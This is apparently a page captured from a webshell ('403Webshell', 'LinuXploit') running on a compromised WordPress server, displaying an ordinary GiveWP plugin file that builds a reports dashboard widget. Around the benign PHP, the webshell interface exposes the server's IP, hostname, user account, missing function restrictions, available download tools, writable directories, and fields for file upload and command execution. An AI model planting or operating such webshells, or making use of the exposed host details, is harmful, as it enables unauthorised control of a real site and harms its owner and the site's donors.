403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.118.32.116
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/7779/task/7779/cwd/plugins/give/src/Views/Admin/DashboardWidgets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/7779/task/7779/cwd/plugins/give/src/Views/Admin/DashboardWidgets/Reports.php
<?php

/**
 * Reports Dashboard Widgets class
 *
 * @package Give
 */

namespace Give\Views\Admin\DashboardWidgets;

defined('ABSPATH') || exit;

/**
 * Manages reports dashboard widget view
 */
class Reports
{
    /**
     * Initialize Reports Dashboard Widget
     */
    public function init()
    {
        add_action('wp_dashboard_setup', [$this, 'add_dashboard_widget']);
        add_action('admin_enqueue_scripts', [$this, 'enqueue_scripts']);
    }

    // Add dashboard widget

    public function add_dashboard_widget()
    {
        $reportsURL = admin_url('/edit.php?post_type=give_forms&page=give-reports');
        $reportsStr = __(
                          'GiveWP Donations: Reports',
                          'give'
                      ) . '<a class="givewp-reports-link" href="' . $reportsURL . '">' . __(
                          'Visit Reports',
                          'give'
                      ) . '</a>';

        if (current_user_can(apply_filters('give_dashboard_stats_cap', 'view_give_reports'))) {
            wp_add_dashboard_widget(
                'givewp_reports_widget',
                $reportsStr,
                [$this, 'render_template']
            );
        }
    }

    // Enqueue app scripts
    public function enqueue_scripts($base)
    {
        if ($base !== 'index.php') {
            return;
        }

        wp_enqueue_script(
            'give-admin-reports-widget-js',
            GIVE_PLUGIN_URL . 'assets/dist/js/admin-reports-widget.js',
            ['wp-element', 'wp-api', 'wp-i18n'],
            GIVE_VERSION,
            true
        );
        wp_localize_script(
            'give-admin-reports-widget-js',
            'giveReportsData',
            [
                'newFormUrl' => admin_url('/post-new.php?post_type=give_forms'),
                'allTimeStart' => $this->get_all_time_start(),
                'currency' => give_get_currency(),
                'testMode' => give_is_test_mode(),
                'assetsUrl' => GIVE_PLUGIN_URL . 'assets/dist',
            ]
        );
        wp_set_script_translations( 'give-admin-reports-widget-js', 'give' );
    }

    public function get_all_time_start()
    {
        $start = date_create('01/01/2015');
        $end = date_create();

        // Setup donation query args (get sanitized start/end date from request)
        $args = [
            'number' => 1,
            'paged' => 1,
            'orderby' => 'date',
            'order' => 'ASC',
            'start_date' => $start->format('Y-m-d H:i:s'),
            'end_date' => $end->format('Y-m-d H:i:s'),
        ];

        // Get array of 50 recent donations
        $donations = new \Give_Payments_Query($args);
        $donations = $donations->get_payments();

        return isset($donations[0]) ? $donations[0]->date : $start->format('Y-m-d H:i:s');
    }

    public function render_template()
    {
        include_once GIVE_PLUGIN_DIR . 'src/Views/Admin/DashboardWidgets/templates/reports-template.php';
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit